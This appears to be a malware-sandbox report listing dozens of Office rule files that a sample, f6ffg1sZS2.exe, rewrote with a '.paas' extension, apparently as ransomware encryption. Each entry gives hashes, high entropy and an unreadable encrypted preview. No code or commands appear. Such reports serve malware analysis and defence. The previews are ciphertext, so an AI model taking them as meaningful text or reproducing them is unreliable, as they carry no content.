Preview:	<?xml..\|.6i....4...z..T.....%...^. jM}..fo..J....f[I.]..c.L.evB....[...u......w..........'...%)..<........~3....H...V.n..k.>e..9...,.......tN..Tr'?..K.qt.1...n4.\..y.M.S.#P........(.....>..Va.+p...WI..d.<..D8}..W.L.~....[...5X....a...T...?.......X..`.]Q...=(.e>.$.0.......{.N......v..\|-FM.m&B5.#.l...8.4.b. 20..F.5S..h.S...4....~W....Y.V...^.<u....5...Q..a.I..{.']R~.`%..5...iN?,...u....^...i(...}......u..'2...#x...r0a....U...3.y......'b@.~a.7H..h...C\|.]..0.1.~y..q....h."G.m....rIP! M......._l.2Gb..-.l=.M..3.5...e..V.....6Z..uWT..5..G(e`. .....c.yvB}l.?.%.E...z8....[..343$...;......O..}...9Z8._..e.0.......Q4./+....Y.:b.E....2T..T.]...X..........V.*...S....3an...d.%1.'7}jt....y..Yd...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.690305150551908
Encrypted:	false
SSDEEP:	12:5qrEHydj/0qAOgZ46bL+uLHp4lAsDaOCG6Ks2B803mmYn1ib0gS2cii9a:f4j/046f+POOVd6b2B80Wmwcb3bD
MD5:	6E23BB66D5D687D4377E9AE7D99928F3
SHA1:	945FFDC661E3ADC2E634A8457D1E3F83071BE398
SHA-256:	C1A4A13CC2DF754BF500FFBC5E0F7C7FA572C824AF07C635B7198D7262C33ADD
SHA-512:	5153B88AFEEE02B4A407BFB47580F3DC826FDFD9637610992BAD24002A21A4BCD15FC9C7E000E080C3517F8012FCE5DB5706986E89EBCA54340E06D0F0E8D113
Malicious:	false
Preview:	<?xml..T..TI...g.....Q.t..v..cI...q..-...d.F.m).0@C.........P......)j...Z..K......Y...b..gw..........\.....5..u4...\|...d.s..mO.+C....G..a...U...b=gIt..xi...wr[.....pg..Dej..!./...x..bD..x.u....{_.....?C........2..... .....n'..L..w.?}......=6)).......,..\|u...i._3X4.s.....=.m..!. .+NK..........W.G'..........AsJ!3.... 1R...c...n&/...E.7.5>0..]7..?I.z292Ab%_...}?p..;..o`o.3.V...i..h4.<%.n1s/...2....d.LY..stG..^..B.h.......3u..oq?[...3.6....#.N.BKO.1.1o.%.=m...'.\|....q.<..8...y..%b...?..X...6._ f.\|.c......!.. .....~..uh..m..=:.k\.8U....~.........]At..+..%..^..t.j4N.I.u.D.......L.......qu...o.J...JiL...i>.?.z."..T.x.....De"...........LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.728394505713199
Encrypted:	false
SSDEEP:	24:Wc+NZHjYEBVKLy0AzKD9O82N6aW403h8GWBZemUbwkbD:Wc+RB4ZAo9aN6K03h8GGZeOuD
MD5:	A8A62FB15DF899047D2B4B9AAC87A385
SHA1:	E9A18A316E16A1ABE9CFF1E662E542522E2001ED
SHA-256:	382F3D6054DE2F6A84BAAD2EE75B956A4C6C2545F2E905126A1538F23FBA02FB
SHA-512:	B25F0A12610A9A04BA691B93649BA6656AE9BE6CA0BAB520C5411F8451C28E78137C8013570C77CB73757F29291EAE2681D35C6757520B1A7DF57BF27E485510
Malicious:	false
Preview:	<?xmlZ.Vj.....{......o6..2.Z....G+.W...}z<..\\|...z.o..o.H..O.;...L.DfH..9.yD..d~.3i....'.....Sw}.y.....^....OW....Sw.NpRc.. ......5.,v.RO..7...{#.F....N]...P...A.;K.]to..Ek..N..n.....m..'....A..1_..rI.....8g-...B\.(...'.......".ia.:......A......m............4..kma;.G..9#P!....#.E.;!.w......1F...P./b......].~@.H..y.Q..-.._.J...\|..^Xp.C.)...#......Zw..........g.!..}...H...#3&u.i&..pl.)....lv.h.&:..KR[....]N...d.....`..u.....3.?:t.oj.k....F..-.i.g\|~.V..., ....xl\|w%.nTQ.^oAt....I...&....C...d.v....]s"`...b.>..{p.....M..d..}...."!.\|.~>.N.[y..........6.=>]..X.J..T.)}c..l.l:....-.d=@.f.H..G.#....V.?.....g.....R..e,...#Q&A4!..\|.B?....$f.7l.$..:.w[N..}a..l...F.............x.9_..k..J...s.i1.....y..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.706768657612071
Encrypted:	false
SSDEEP:	24:IDRjSlk8xs+CanY3vqQsBUrxRqj9kAdW6ybD:XRxU3vqQsh9sdD
MD5:	CAAD3B964CAEFA872AA43055CB87BDDD
SHA1:	CF5CC85E8C798BE175FFCAA860418CC391E577FB
SHA-256:	E685461508D3DFD47818EC87102EC033F6360D91E900198E59CE9B33CA2A11AE
SHA-512:	DA92299DFA6E8D20AD34F70429E3EBF408241EEACEE67547B74ABADB293F48AE5C73B8C079FC78DFB6EA0AFF10215DE6CB8E76A1E6883D29130ADF2D4E1D6C85
Malicious:	false
Preview:	<?xml5&..F.Ae....tC..tiR....l.+.q6..U....%.L w..7.kR\|..R..vq.?.}."...A.X....,.5..f..[`..K.3..k.Yt.h.1....$.#..D.."G...#9.....(3_.......wAE.....j...q......S.....B..........E.R.C.4.........K..7i.]U\..0.l..BR...Y..2.\|h`kXG....p.;...........Iw...dH.MZ...W..E..J.T.s.QD?KD.....+.0![.w.L{...4..a@.y.'....`..m{.#"t`.$.9l8..".....7.c....]...T.....m..j..L.I.J.l....K.;M....G......C.C....Do..6......c...@..t..n...g[\ep.]...F..!..nc...Sm7V$...M...%.e...M..l}n.9........M.......0k...........o.9..{.]P]G.[......<4.......8q....9S.y..\|..qtV+.r.]..FAm...\.../q..u+.P....4...6.......[tv......"..of.$a.N..q....k...;)..I.......na....4..U.......oj..d.?5...............X..-8...[..s...jmI..*Q...~.z..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.769393911532674
Encrypted:	false
SSDEEP:	12:en/bXiERthxya4flc2mWELxDHdizbxuXc7gMVugJSevjGrQN36pm/CndS2cii9a:enzXFpJ4flnDE1D90xu/sxqrM6p3nVbD
MD5:	6E3444932E301612D2C95F0D84AE08CC
SHA1:	E11E1FE17B1F1EF0AEC98B62E67E973DD48F5009
SHA-256:	94641B1FAE1A70490E05182A4D6E4E9DA626290E3BE840712FAA29D3C11E1937
SHA-512:	0E9186CC5013B69FD658AEC18D514A9E99120D99972DB015842A21EBCCFD1010E3F572822C540031C7D530D5C833F94EA36BA20C70168B1502B87366279C7704
Malicious:	false
Preview:	<?xml.mj...&W..n..!....X.....PJ.1y..5...\|..Z.a..~y..2.qGP.....nl..6t...[..O......ks....<.... b.&..a...,...J..Y<......f.:....o......E.....7..O....(....../....@....2y.0kAf..%.3....`.me.Kx.....h;.K..p.......'@yOtB....^8Z^.^....o..6.....N..z.Y.....T.M_.s..Ex_5vW..=~.4:.j..]ja.!B...X...~.C{!F.2..U.R9.7oI.4Z.\Z..d.,..RhJ..Y.....4..8..N...?.\).$.p#.w.......N.6.r.8..-...a..{.1.Lt.f/~...S..u..WA.du`.U.7.L...i...............2...f..(....jM%.>.e....m0..s...B..l..7.^........I....B...w!z...\|..g.."..eU5d.0.."...SR.Yo.h.^.es....ng.........bi..v...g.D:...T..N..`6<.ER;./..c..j.I...b^.O..o....`..W.O.l...jK.FT.kV.-..z..U.C..[jV..hku..T..1v...3g....=..4g.-......B.\|.9..M..2O...B...`.8..6v. ........~..v....%.....\|....s.)wb..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.719622902163705
Encrypted:	false
SSDEEP:	12:8jhbiQvyYxt9ozaRlzkVTciBgPycB2YBIt0WS/hjGU1E3daAS2cii9a:8Rik/OClzcTciBaycEJt0WSNilbD
MD5:	75F9207B08AD08B50896BA2F8E0F1FDC
SHA1:	9CFFC58446314A814D4778EF3C857FE3DA8980F8
SHA-256:	8A908462E853FA19B3F9FE8B5595850730112D0F334E8C8C669519793737032B
SHA-512:	BC708421576D19F438D47571B1C33F7ADBD3C9D48D5CAF9244482B92DAA0A85C03A7BB80C60845056CE1451C6FB9F4043B6DBA02C5AFF933B69E736C7DA47A86
Malicious:	false
Preview:	<?xml.S...g3_K.7m,....{...R.@+...f"c.l..b.....66.V...........>lC[..%.q>H...{...~s.].dU#f.[.O..=O..Q.g..^.....63.....&1.....L...4.V...F..u...4.`..z.....yO..DE2.......@.....EA.2.V.....g...%dJ$..."...o..o..>........@.. p.............>K....^.p..:.?..(`f.(.d.PS.\|5U.d...n.IfZ5..I<t.Z...R &o.en.....(..(............=..a.....<...=bpZ.x..3...G...8....'...*o+x..x.\.3\.......n.FQ...Mr....}.4.l...5l...-..N....(yU...a..`ZRJ..&.O.....,..f.`n.....N.?....b...=..jeu.g..z..'....!....8.].........x.Dk_..V.~?.Av...W.PQhJ.k...c].S........0....X.^.2..&....v. Q.......#.B...WL... ....j..DMh.\.Or...[.$,.....o..+F...D.p:...je.$.M....d..Z...+.9..t.~LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7301800298085
Encrypted:	false
SSDEEP:	12:DnIK5r0Myo3JLDHLu5xdWP0O1OlKqncQcs6CVTqFDjLnI5NA8APQsS2cii9a:UK5rL1yWMIXqss6MTs6AgUbD
MD5:	77D0E4887CE8F622D70E36B1A1845E30
SHA1:	4269A36695C86EBD4551A56F81E2BC0E6062501B
SHA-256:	5FA031A5C2DB0354304F4D630F429A06E825A480638448476BBDDF03445CBFA3
SHA-512:	46D461A7AA20ED402EED7CE640EF3EA2238477B772DAF90CFAE166A51EF115CA03E5BFEA36EE79086A5775E76D5D0C4BC50B441DA533FADA12B825413B33B574
Malicious:	false
Preview:	<?xml.D.H.oZ.....U./]...y=..Rm.PxN.K.H...[.m.L...$8..a.....gS.`..f...~>..0$Q^m...6.J.....F&......t.......}...n.`....80..`......G...P}.&..-..O.E.H.E=:.J}.Dk,.&.._A..x[.P.3[.Q.4j.$J&.m....G...>_'.(r!\|.......t`..R.v...?n.+................dZ........G.....OFp.....}3....9G...I./.e..f.X.O.h.....%A.Z..m..]...s.....)$4..{k...r(.WJ.8e.2..(-i......!.9n+$g...(....B..CLs..2.:.0Z...koW....GF...c-..@......a...A..d.._...y."{0}.#.............Y.I~...{@k......A."Iu.M<X..O.....4...K......?R.....B.fq~.h..y....4..fNn$Kio..J.....gp....DB....4.kq.u9.O......g..Ry..nq.0.Q..*o...c&....eeN..q.j..k[..t.m.l......\t..8..F.pJ.I...X...\|...<...?A...s.....Zh.%YJ.i>\|....\}.]...%.R.k{..f.....o..F..A...Q..m9N..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.721245236022578
Encrypted:	false
SSDEEP:	12:8s7nSozNddMyY9H15ra7iNIvJBvjOndNpR8ICkA/UYSjuR7ncrFBB05COnS2ciik:NSo3dMFHveiOvGHU/UYvJcJ05d3bD
MD5:	014444C801E4DA0F79EB54870A93204D
SHA1:	BC879C59118E7459767780F78B54C1DC9A348096
SHA-256:	1CCF8D1229B7E63DF739AE465D11C4736FF5EF75B648C5FCE4A9FBD4104FA9FE
SHA-512:	8E330EE1D34F513CEABFE08FAA959E0F1E1A0EB77ACFFACB65E42D15A2F5F6259BE27DCDFA0B23D8D220293D4DA172366E5D20318EF7727430D690F84A942ED0
Malicious:	false
Preview:	<?xmlA..Fn.d.0..;P...J_..l....gm...D...c@,..0C..}..nP.PN5.EM.o...T..g.#....m.4..oj.W..-WP........:.W.jb..G%"ms.....)u.H..w....`....5..xFJ.......%yd..[_....j=jr'..[Z..R...%..{;/............3u.n.B......S.:....A............![.E.Qz.....b...#....j....GwO....l._..0a.UE..i...]c.;...u..{....v..0*.i\|\!`1/UR..(.J.D.b..i.G....j0u..Smu7v..Q..G.NB".9..V........... ..8l2.tU...#^.XL....F.^........8.........i.g..H.[3.~A.~.._?..F.Oqz.H..L/...K.YE.& ...]i5....u...U...C...Z.h.2...?......alr....._Z...n......".\LN..k..-........u...1V...!..+..+P...;..Vk..6.gn...RbNF.. ...1z...x.T.d.)y]..$.K..m......Ri5...f+o.....Y.C............N..v.._LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.732790443753089
Encrypted:	false
SSDEEP:	24:5jXeTltBar81W1ihM28XuvtK8anuzKwZUIryVJ/bD:5QHArMhMvnuzKgNryVpD
MD5:	085D02BB47352D1A994092FD99B802F0
SHA1:	B81FED5362A00A6B759A70C40FE0037F395D7A30
SHA-256:	CF8930661B83FF4272E8A95125AA4C3D81EFC39617F00D85FAAF614DD72F5EA9
SHA-512:	5C30F091DBC8F7C918F4B444AE2737B327EC1ED7A854B319F370E50C6637B5C2717A9C3F0A40B7D3A89FD3D8FD025D0AAFB47A18C7DC3F3221F7B3C2F261C330
Malicious:	false
Preview:	<?xml.P.)x.veF.h....l..`^\=..>}.00:..._...k..Y=0.>.t.`.`(.......&...t.!...k...j..3.+...{.h4.3...eI..4d..u.b.x.Q..K..y.CAk.....r....5..`.8.N^/<.l. .kTbk..T.....?...7..<...r....LJk.p....N....b\|.....;.~...;.........}>..1..un....O..iRW(..I>R..v..5.9b.....c6E1q.r...).....;~F.".~Q....IK(.k..o...UG_G`6.\j$.......Jv.7zqeo[.Vx. l......E.!.S.I.....[....~.3.c.u.........cu.i....()N.!.......c{.......{.....c......Y~.M.i\|..7..1..s.-..X..Z%.X`....7y3..q-..m.ky.."C..^Z.......;.M....`Y.ML.^..X.3G#.e]>w&.AR.....2&L]'l.c.."?)....vP......G....yo.eI...>s~j..z..$..g{..T.;.t.]....t....Y3.K......]....O.~..p....5z..j..\BD.P...%.]......T..$..*..._.p.Q...Y/%-.Z.. ^.mJ%....:..&.t.Y`..`..d.Y.....]...........0...w.Q[LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.670227775362366
Encrypted:	false
SSDEEP:	12:WhW53C4+T3K7pIm+9uyQN8gA/CZO7foNqpR5KRXbL7aAvu50iS2cii9a:mWU4+j+pImar7CU7foNSRI3vuJbD
MD5:	E3DC66B38F1FA9BCCD3FE2AC95C0733A
SHA1:	3DD84C54DBDA185CED46E8FC39F154AA0DAC2E3A
SHA-256:	D9074E3AFF1CA07480F983DFAF2960C6AB7851FCF1A9749389C283838FBE6FA8
SHA-512:	3AB8D848AC980070EC157D6B4A96BECAA5E904ABEC5D366364B6A31D801309DCB80507A1C4BF26315D8DF110BC915AB870A317440F26A4D47752B9F8179938AC
Malicious:	false
Preview:	<?xml...F..J..G.Y..\|.N.t..^/>......&.e.%f..W.K.i.#\\|..&.F...........Mvq.J.#.S....u.........Yz.V.b..E...e.,t.Y....A...$...w1.@.7.}v.-.......d.}$.pHc./.....2.D.yyd..Q-...MC#Z%J..~{xB\...lBPy....MR.{h..."r..^[.......q.Z.A..H.a....m.... u.K.}...()..Q....X...aE....1L\.)X."...T.r.t..fAi...[$..]'...0b5...T.r.&f..>....L....@@......J.'..]4...L..&..u..u.fp....N..d........h..l..\|..d.i..{0j...+....m..E........]e..v.r".tK....Xs..J......}/....H!.#]w6\.UJ..,7.l\|&)a.@[...a...GQ.}J.Z>.....h.}+.4...m\|..Bv(........D..Kh.,.e.D[.zl...yh.$.%.`.t...~2.l.l}..L..<m.:.ip........0..........$.....~...CS..Ez.2....q...t.Z....?..u.J._Lg.U.^G\2-Eq..@&..Mp....'.x8.I.\|..T4.Mx...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.721981309750924
Encrypted:	false
SSDEEP:	24:HRL4bM3+ncZAFmY+s/MvsxeQ+GJ/aiKFBsbD:Z4wtAFmYv/asxeNUD
MD5:	642D4F37AB63AA8070A1380E16725E49
SHA1:	2457483777785255D19FE4038BDABF4DD23A12D8
SHA-256:	F7581D231CCA2513E5CA455F1EEA7A6B655736C31CED3359F923888FC7ADE883
SHA-512:	C49863E61D4A0CFFDF508D7FE48FDC3E77C410B10D1DFEC230FC63D0445435B66DCC6A3571F98AFAF5361D383F650D2424A9C2BD76678D04D6A61FB874B1CF85
Malicious:	false
Preview:	<?xml...[..........L..2.!.2.......92.6....I.S.......^...d-.9......t.v.\~.KEz.T.00A..uP.....U..&px....9._...._......r..6.+h{.8'.S1i.i,...6.M...d....3d.2<m.$.I5.8..X..=.7...v#}...uV.x...@....v..r'a...w>..n..6\.K.....6.8..v..;U/h..\......;..0.l.S..1y....:...Z{6.+..S.e.#..6&{..4..).....7.L.MN2f.s.)f...&./).`.[P.5..5..#(...R.r{.Dw....C..E:....g..W..^ ....=...........J.........9.:....`....X=.....`......$.S..\|.O......._.....G/.h.........9...B,.(#...f9v+.7.....>Te..zB..$W.Q.0...#..Ws...m....]4....9..R.-}E..;..+.$.9.Q...,J.._'.Q.&#.F..<...P.....&8....io...B.E...]6.K....Z..6....k.l.9...Z.M{.)Y..l.....j^#H.L...9Q...y..p.R.Y.o....@O..;.#.....L..&2..V.B$X.B.....nU.<..b.....n.......ra\...p.......r.t..e.2.......-.\|.:....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.702765803720079
Encrypted:	false
SSDEEP:	12:MkgV6kNd1MfQsR9OtbsSrgI3IZEsx4j1MUsGHUf0eix8WcCVj14oKWBQQgWgn5Sw:p+6I1uQsbOlsSrDtf1MTGH1BCCVjmoKZ
MD5:	BC63AD61013C6464AE113B4E3A27A41C
SHA1:	2245BE87A76F3E21CD04D3CD89211A287264EF7E
SHA-256:	F16FD5381FC9B7BDAB9A74E6DD4E10514C598F37454576ADB9C3BEED7F0ECE22
SHA-512:	382AC5EE4C39CD3D6F33F390FD33FC2B6F44EA8716D101BFEE9151B9922E890CF6AC6356063581926D1DA8997107A3F8AA968E29AA162761BA078E6A23DF9C3F
Malicious:	false
Preview:	<?xml..%ZS>.gj.............<ybX..^.....k...-..4..6U.......q....T............J.j.'5./r.,......W.`.....`x.J.....i....Z@<v.4.3q.Mu.6...)..P`H...S)..t.UU.........mV.W.Df.C.y.NR.c}4..I &"H.....T63h..Z.....OD..E!!...E.._..7h...A}..u.r .....G.x...Q16.b..g.A..\|...H.".......7..:d.5.45x...".....wC.g5.<..O.}..lJ.@s...c......!../R?..d./V.4?..N@s/..v..Y.P..._......Q.n,`.sf..]....N.&.m.=.....@g...A.C.....W"...........<l.V......@..L.hm....[..:Ur.H........ w%....WC.G.......o.V....U...7..e....(O.g.....m.J1..L.>zY.+..D....,...$......Py.......C..~....W(...=.q'.t........6)...E.3u.K.w...:.....6.#.s9./.......__..?......9R..[.24.{1."x:.....lKYv.E}......^..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7751251528957654
Encrypted:	false
SSDEEP:	12:ENEbD4aP9ej/K57JTstKYqBgqhBXGFVEs+jhXvdRkZ2m1AeUQbZRMo497pud+S2X:iZjVbqhBTjlvd6ZQQQ78AbD
MD5:	63B91CA67A0DD61CCCB7173C0F83EE3A
SHA1:	DE1CCDE46022BEEA3A35CB21D63304EF005287A3
SHA-256:	2E0BDA417B8965EB0F13C59C1B9B82C974EE5D5CABCE7927B7E78958756B6D3B
SHA-512:	D209AFA6A22C52E8CA35A3E63BEEFE7332EA3A814F10C5FF89115F68AC2502EB0C5A1D5F42D24BBB8E9C8C4409C42EF930CFA89BFCCC038CBCE8FC90AFEB1C08
Malicious:	false
Preview:	<?xml+.d...4...LX..p..}....Bih......J.'..}ZJ\|.c~.C.+..K..L`..0=..j.k!.....^.D.b.....dC5t6S..h...YxQjQw;k/b&.`.0.?.@.PY..u..AS.n..%$.....Rqh-...........`......@...:`..:.AO.^...q....U3....VMn+..+...u..CbY......F^......E.J.(....o...A.v....^.n"...3......".....BD'...s.L.......A...\|...=....;..xx.+.G.....R._;..{V..5...K.._...Pgj'Yl.=O..A..u....%.<...y..`.c.x.{.K3..'z..\z...l...g....F,....`.m.....ux....b...g.`........x.5.=.v.....Q0..>'.o.u..\...Km...'.OS.[.;.G0.k..=.+..X.AE.b.2.N.P.&B.j.\|. zW....Bs..!1.!lM1u..(...S..f...)..2..2cn..`<...:...l.g3...O..S>.... ..9..E{..y..g.,md..r.5.....Z.E....3.I#..#t7...<.;.W....!L...*..N.-..Z./.-.>$.u..~O.V...\|..}9t....G.....W............s....[....;LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.665223376539003
Encrypted:	false
SSDEEP:	12:2h8jKxhWqmWoYjass0UaT4WNiV3bBeGVwcprgT8wHqLQ7oPove34x4TkMNdS6fQA:rjKx8/+s0Uq4Oi7RTxiHqU9W3MYJov6n
MD5:	398C599328B1681246507792AF666B8D
SHA1:	3D4A828F6A589A9CE99A1DDB3E3D609D4493F761
SHA-256:	B1DB6576A1291A68A3FE8F408561859F706F2E2A47B7991C7B0FB728D488BE01
SHA-512:	60952501FE800B1744378B2C47476F9C12CCD918A3BB0D656A58FC2B308A18B23EF50334AE5DE3997E369BA17659EF3F9E143074F4FF6BEFDA116C58E0C8A1C1
Malicious:	false
Preview:	<?xmlh8H.!.8Q..........`..}.,..vgB?...D..jD..]q........8...$.{.\|..f..L.H`..U.P?...V.....'...9Pox.a..$]qvy_D,.U..V....P(..@V@.....X.D.5..>A...kE._Jg...h..([.8t:.Ft\..../.e..2I.zU.&.,.9..>.G...3[..M..e..C..(.b.9..Q..W......,3..\br.E..\...AJ...l<^./$.q.k-. ..MF....v........6.....'..Y...:..h.6.k.xX......,..[.-A\E...8sT..-...a.....Wb.ssG.L......u...y.S..n...3..s]f...w..u..+..C..=O....rs./."V..j..I.`....Q.m.B...'.LqT.<ZQ.....Q;.v.....$h.;......X.\|:Q.s..}R.........f..A....Nf..o..p.B4.....D.$.............6?H.uv.8.. .I[.....n....Ttsd.I.$...Z...Y.......e.....\|U.0U.._}.....Ak.*..&..m...1.jJy...BT.......F:...=Yq..~...UL=..V'.)j[C...[.I......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.744764964609511
Encrypted:	false
SSDEEP:	12:4Ng0IbaoM57hwdyOTB50G1OuJcf7gbj3oXz1+7LMLFAq4teUCSInJJw6X7NuP3u6:KgKoFYOTB5L6fR+fMpzzSq7k3uIbD
MD5:	1D97AB47729821754798CF8C6894403F
SHA1:	7E71F94A241CD9534583B537D2E321DFF148A289
SHA-256:	73607F4110D54CB1FC593995E36C5FAD08D4DAB0A60D75D9E11830C7259B6489
SHA-512:	AF590A498E08468445016D341FC3456E2A0CBCFAE9EBCD4CE0CCAA17A84BD345595C89C41EFB32FED0476A3C52026E8793E2EC5E2365CDEEFC8A165B435B93A2
Malicious:	false
Preview:	<?xml.c.u.9.,..\.,d!..I.:..8....-jqt.z+...&G.2..1l.9.....z.3!..+.1`....@(...'......W.......T..2...).;.W=.5X..u.CQ.."eH.4....{.o.>M......lT.\..g.6...F..]...E...y.....c.0....x[).G...m.J..X...kF.,.o..W.&E7]E...]..iMW.6yH...L.Yy..Y.,.C...7b.@ .....<......:.ip=...,;...n&...D.........&.N....k...w....[8'..)......h@....W......]....7y n.J...hA.U=.......v!~VI.v..}....'..O..o'P...f....j.HS....v.J....x...9...{V}+(.5..r.[{...=.... ...$...j...K..f.r:.bEJ.u!.3qJG..hd.............0t......j.?4y."M).a:..a..y........>.O.N..Id....'...Yg..+2........Ks.c..'..F..Hc04.\e.]..,.PUI..=5.#.....$.f..XW.du.^.2.d..2..B.Mf-E%....i.H..["PZ......i..Y.v.`.$.....\.......L.b.N.h.k...\..........O..i... a.OK..c=9..Rn2...b....XJ..+LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.72636966313954
Encrypted:	false
SSDEEP:	12:fXU+N5CHTXh//zNZ7S0x5ilP/HEe6usctpfLSQgoPiGULUPC4NML9uztcvvS2ciD:fXU+Ol7S0Evb/f/v+UtNMhKtcXbD
MD5:	10C22E7E425B23D06DDD00961F28622E
SHA1:	C5386099E180E915FCE9361DD548CEA286D35C63
SHA-256:	CE21FD33206B18AD6462E328F592CBCEFBC3C4D477264A30174314080B1A9C28
SHA-512:	49DCB026DCF0F163C12D22F1634669C459C91E363F6293183812A668C83AABAECAF52FF741E2AF03F653F555FD30596E187A7CE7E2C2C3F2AAC7D90F1964EA46
Malicious:	false
Preview:	<?xml...j......\y..]P.N.>.J....c....Yp560...n..^.MO..=.s1D..HW...q...0k(f<....B:..;....":'.k_^.z+..e.um..Km.UY.fM...7...=.vqF...r.+y..y...=.J..7p...SKH.X...h.,.\B....G.Y..e..v.?.+;....un.n...r:N.I.q.. 0.r.n....0.]DC..n.l`....f.[.Y...G,..&f.._.~./SZ...m\.....z...xM..Z.u..\|....V*wId.<YW..Cz.I.~.Vvp.s...?.-.........M.w..~c.....E.y........R.....l...r..k.. ._....Z.?2.P....Y.?G...^.-..X...n..GU}z....;..g7~..KdZs<1....!k.H.+a.=..^........}.{..n....A..C....a....-..ji..\|..T...2.D$K..."L.%....<.....\|.U.Z..b...;../Fs.......$...p...A.k..1.D...X.f.:........v...l=P.UA[.P3}!0...US..T..b?.{.e..M....Y./......lO.9.}..$.<.[.H... =.R.W...Hq.\|6../....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.paas (copy)

